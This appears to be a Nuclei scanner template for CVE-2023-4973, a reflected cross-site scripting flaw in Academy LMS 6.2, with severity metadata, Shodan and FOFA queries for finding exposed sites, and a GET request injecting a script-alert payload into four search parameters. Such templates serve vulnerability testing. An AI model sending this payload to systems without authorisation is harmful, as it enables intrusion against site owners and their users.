id: CVE-2023-4973

info:
  name: Academy LMS 6.2 - Cross-Site Scripting
  author: ritikchaddha,princechaddha
  severity: medium
  description: |
    A vulnerability was found in Academy LMS 6.2 on Windows. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file /academy/tutor/filter of the component GET Parameter Handler. The manipulation of the argument searched_word/searched_tution_class_type[]/searched_price_type[]/searched_duration[] leads to cross site scripting. The attack can be launched remotely.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript via reflected XSS in search parameters, potentially stealing user session cookies or performing actions on behalf of users.
  remediation: |
    Update Academy LMS to version 6.3 or later.
  reference:
    - https://packetstormsecurity.com/files/174680/Academy-LMS-6.2-Cross-Site-Scripting.html
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-4973
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-4973
    cwe-id: CWE-79
    epss-score: 0.01835
    epss-percentile: 0.76138
    cpe: cpe:2.3:a:creativeitem:academy_lms:6.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: creativeitem
    product: academy_lms
    shodan-query:
      - html:"Academy LMS"
      - http.html:"academy lms"
    fofa-query:
      - body="Academy LMS"
      - body="academy lms"
  tags: packetstorm,cve2023,cve,academylms,xss,creativeitem,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/academy/tutor/filter?searched_word=acoa5\"&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;dyzs0&searched_tution_class_type%5B%5D=acoa5\"&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;dyzs0&price_min=1&price_max=9&searched_price_type%5B%5D=acoa5\"&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;dyzs0&searched_duration%5B%5D=acoa5\"&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;dyzs0"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains_all(body, "<script>alert(document.domain)</script>", "List of tuitions")'
        condition: and
# digest: 4b0a0048304602210081048aa8aaf764ab4d4abbc711417b3b1e8217791622309bd6eed0a20087a1a3022100fdb52cea80d600b5315ae91e772d985fc4c4e3191db23f8e8d19c8c8f376f6c8:922c64590222798bb761d5b6d8e72950